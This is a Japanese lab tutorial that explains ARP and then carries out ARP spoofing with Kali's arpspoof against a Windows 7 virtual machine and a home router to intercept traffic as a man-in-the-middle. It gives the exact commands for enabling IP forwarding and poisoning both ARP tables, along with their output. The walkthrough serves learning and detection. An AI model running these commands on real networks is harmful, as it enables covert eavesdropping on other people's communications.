ARP スプーフィングにより通信の盗聴を行う方法

ネットワーク

本記事では、ARP の説明から ARP スプーフィングの説明までを行った後、ARP スプーフィングにより実際に盗聴を行う方法を紹介します。

ARP スプーフィングとは?

ARP スプーフィングとは、ARP の仕組みを悪用してARPキャッシュを改ざんし、攻撃用端末に通信を転送させる攻撃手法を指します。

そもそも ARP とは?

ARP とは、IPアドレスからMACアドレスを解決するプロトコルです。
同じネットワークの端末すべてに、特定のIPアドレスに対応するMACアドレスを尋ねることで、そのIPアドレスを持った端末が MAC アドレスを答える仕組みです。
Wireshark で通信の流れを見てみましょう。

10.0.0.2 の IP アドレスから 10.0.0.5 の IP アドレスに Ping を行い、ARP 解決される様子を見てみます。
10.0.0.5 の MAC アドレスがわからないと通信できないため、先に ARP で10.0.0.5 の MAC アドレスを解決する必要があります。

まず、ブロードキャスト(全体)宛に、10.0.0.5 の IP アドレスの MAC アドレスが何かを訪ねています。
すると 10.0.0.5 本人が、自分の MAC アドレスを 10.0.0.2 に伝えています。

このやり取りを行うことで、10.0.0.2 の端末は、10.0.0.5 の MAC アドレスを知り、通信できるようになります。これが ARP の流れです。

ARP キャッシュについて

上記のやり取りを毎回行っていてはキリがないので、「ARP キャッシュ」という形で自身の ARP テーブルに情報を記憶させます。
以降はこの ARP テーブルを基に通信を行うことで、通信のやり取りを減らすことができます。

ARP テーブルにキャッシュが書き込まれる様子を実際に見ていきましょう。

まず、ARP テーブルは Linux であれば「arp」コマンドで確認することができます。何も書き込まれていない(誰とも通信したことがない)状態であれば、何も表示されません。

root@kali:~# arp
root@kali:~#

この状態で、Ping を行い通信を発生させます。
すると、上述したような ARP でのアドレス解決が行われ、ARP キャッシュとして ARP テーブルに情報が書き込まれます。

root@kali:~# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.0.5                 ether   08:00:27:59:5c:61   C                     eth0
root@kali:~#

見てわかる通り、IP アドレスが 10.0.0.5 に対応する MAC アドレスは「08:00:27:59:5c:61」であるといった情報が書き込まれています。

ARP スプーフィングでは、IP アドレス 10.0.0.5 に対応する MAC アドレスを「08:00:27:59:5c:61」ではなく攻撃用端末の MAC アドレスをキャッシュに登録させることで、攻撃用端末へ通信させます。

ARP スプーフィングを利用した通信の盗聴

ここまでで ARP スプーフィングで通信を攻撃端末に送信させる仕組みを説明しました。
ただ、この方法だと実際の通信と異なる結果となるため、意図しない通信が行われているとすぐに気づかれてしまいます。
例えば、あるWEBサイトへの通信を行おうとしているのに攻撃用端末に送信されてしまうと該当ページの表示は行われません。

そこで、以下の方法で正常時の通信と同じ結果を返すようにします。

【正常時】
ターゲット端末からサーバに通信を送る場合、ARP テーブルが正しい状態であれば以下のような通信の流れになります。
ターゲット端末の ARP テーブル:192.168.1.1 ⇔ C
ルータの ARP テーブル:192.168.1.10 ⇔ A

【ARP テーブルが改ざんされている場合】
ターゲット端末、ルータそれぞれの ARP テーブルを以下のように改ざんすると、このような通信の流れになります。
ターゲット端末の ARP テーブル:192.168.1.1 ⇔ B
ルータの ARP テーブル:192.168.1.10 ⇔ B
※攻撃端末でIP転送機能が有効になっている前提です

この場合、ターゲット端末から見るとサーバと通信できており、通信結果は正しい状態になっています。そのため、気づかれることなく攻撃端末は通信の盗聴が可能となります。
このように、両者の間に入り込む攻撃を中間者攻撃と呼びます。

Kali で ARP スプーフィングを行うには?

ARP スプーフィングで通信を盗聴する仕組みについて説明しました。
ここからは実際に Kali で ARP スプーフィングを行っていきます。

ARP スプーフィングを行うには、arpspoof というコマンドを使用します。
このコマンドを用いてターゲット端末及びルータの ARP テーブルを改ざんし、更に Kali で IP 転送機能を有効にすることで通信の盗聴を行います。

Kali 2020.1 はデフォルトでは使用できないため、「dsniff」というパッケージをインストールする必要があります

root@kali:~# apt-get install dsniff

ネットワーク環境準備

以下のネットワーク構成で ARP スプーフィングの検証を行います。

Windows 7 のネットワーク設定

インターネット、LAN どちらとも通信を行うため、Virtual Box でネットワークアダプタの設定を「ブリッジアダプター」にします。

コマンドプロンプトで IP アドレス及び MAC アドレスを確認します。

C:\Users\IEUser>ipconfig /all

---中略---

Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
   Physical Address. . . . . . . . . : 08-00-27-99-B1-5F

---中略---

   IPv4 Address. . . . . . . . . . . : 192.168.1.29(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Thursday, April 09, 2020 6:18:21 AM
   Lease Expires . . . . . . . . . . : Friday, April 10, 2020 6:18:12 AM
   Default Gateway . . . . . . . . . : fe80::e67e:66ff:fe1c:53da%15
                                       192.168.1.1

Kali のネットワーク設定

同じくネットワークアダプタは「ブリッジアダプター」とします。
また、Kali では自分宛の通信ではないパケットを受け取り盗聴するため、プロミスキャスモードも有効にします。

ifconfig で IP アドレス及び MAC アドレスを確認します。

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.30  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::a00:27ff:fe1f:3076  prefixlen 64  scopeid 0x20<link>
        inet6 240d:1a:811:f300:a00:27ff:fe1f:3076  prefixlen 64  scopeid 0x0<global>
        ether 08:00:27:1f:30:76  txqueuelen 1000  (Ethernet)
        RX packets 46  bytes 4450 (4.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 47  bytes 4682 (4.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Kali の IP 転送機能を有効にする

以下コマンドを実行し、IP 転送機能を有効化します。

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1
root@kali:~#

以上で環境準備は終了です。

現在の ARP テーブルの確認

Windows 7 で、現在の ARP テーブルの状態を確認します。
まずは ARP テーブルに正しい情報をキャッシュするために、Windows 7 からルータ及びインターネットに Ping を送信します。

C:\Users\IEUser>ping 192.168.1.1

Pinging 192.168.1.1 with 32 bytes of data:
Reply from 192.168.1.1: bytes=32 time=1ms TTL=64
Reply from 192.168.1.1: bytes=32 time=1ms TTL=64
C:\Users\IEUser>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=30ms TTL=55
Reply from 8.8.8.8: bytes=32 time=20ms TTL=55

このように一度通信が行われると、ARP テーブルにキャッシュとして情報が登録されます。それでは ARP テーブルの状態を確認します。

C:\Users\IEUser>arp -a

Interface: 192.168.1.29 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           e4-7e-66-1c-53-da     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

このように、ルータの IP アドレスである「192.168.1.1」に、ルータの MAC アドレス「e4-7e-66-1c-53-da」が対応付けられていることが確認できました。

arpspoof で ARP テーブルを改ざんする

以下の構文で arpspoof を実行することで、ターゲット端末上の ARP テーブルに存在する特定の MAC アドレスを Kali の MAC アドレスに書き換えることができます。

# arpspoof -i <インターフェース名> -t <ターゲット端末の IP アドレス> <書き換えたい MAC アドレスに対応する IP アドレス>

Windows 7 の ARP テーブルを改ざんする

以下コマンドを実行し、Windows 7 に偽の情報を送り続けることで ARP テーブルを改ざんします。

root@kali:~# arpspoof -i eth0 -t 192.168.1.29 192.168.1.1
8:0:27:1f:30:76 8:0:27:99:b1:5f 0806 42: arp reply 192.168.1.1 is-at 8:0:27:1f:30:76
8:0:27:1f:30:76 8:0:27:99:b1:5f 0806 42: arp reply 192.168.1.1 is-at 8:0:27:1f:30:76
8:0:27:1f:30:76 8:0:27:99:b1:5f 0806 42: arp reply 192.168.1.1 is-at 8:0:27:1f:30:76

以降繰り返し・・・

Windows 7 で ARP テーブルを確認すると、ルータの IP アドレス「192.168.1.1」に Kali の MAC アドレス「08-00-27-1f-30-76」が対応付けされています。

C:\Users\IEUser>arp -a

Interface: 192.168.1.29 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           08-00-27-1f-30-76     dynamic
  192.168.1.30          08-00-27-1f-30-76     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

ルータの ARP テーブルを改ざんする

同じ要領でルータにも arpspoof コマンドを実行します。

root@kali:~# arpspoof -i eth0 -t 192.168.1.1 192.168.1.29
8:0:27:1f:30:76 e4:7e:66:1c:53:da 0806 42: arp reply 192.168.1.29 is-at 8:0:27:1f:30:76
8:0:27:1f:30:76 e4:7e:66:1c:53:da 0806 42: arp reply 192.168.1.29 is-at 8:0:27:1f:30:76
8:0:27:1f:30:76 e4:7e:66:1c:53:da 0806 42: arp reply 192.168.1.29 is-at 8:0:27:1f:30:76

以降繰り返し・・・

Kali でパケットキャプチャを取得する

ARP テーブルの改ざんを行ったので、Kali で Wireshark を起動し、パケットキャプチャを取得します。
これで Windows 7 からインターネットへのパケットが取得できれば、通信の盗聴に成功しています。

Windows 7 で IE から任意のサイトにアクセスしたパケットを、以下のように Kali で取得することできました。

ARP テーブルを元の状態に戻す

arpspoof コマンドを Ctrl+C でキャンセルすると、元の状態に戻ります。

[Kali]

8:0:27:1f:30:76 8:0:27:99:b1:5f 0806 42: arp reply 192.168.1.1 is-at 8:0:27:1f:30:76
^CCleaning up and re-arping targets...

[Windows 7]

C:\Users\IEUser>arp -a

Interface: 192.168.1.29 --- 0xf
  Internet Address      Physical Address      Type
  192.168.1.1           e4-7e-66-1c-53-da     dynamic
  192.168.1.30          08-00-27-1f-30-76     dynamic
  192.168.1.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.252           01-00-5e-00-00-fc     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Kali の IP 転送機能を無効にする

検証が終わったら、IP 転送機能を無効にしておきましょう。

echo 0 > /proc/sys/net/ipv4/ip_forward

まとめ

コマンド1つで ARP テーブルを改ざんすることができました。非常に簡単にできることに驚いています。
今回の方法は ARP パケットを送り続けることで ARP テーブルを書き換えているため、トラフィック量の増加で気づかれてしまうことが考えられます。
また、ARP テーブルに攻撃端末の情報が乗ってしまうことも、1つ気づかれるポイントだと感じました。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました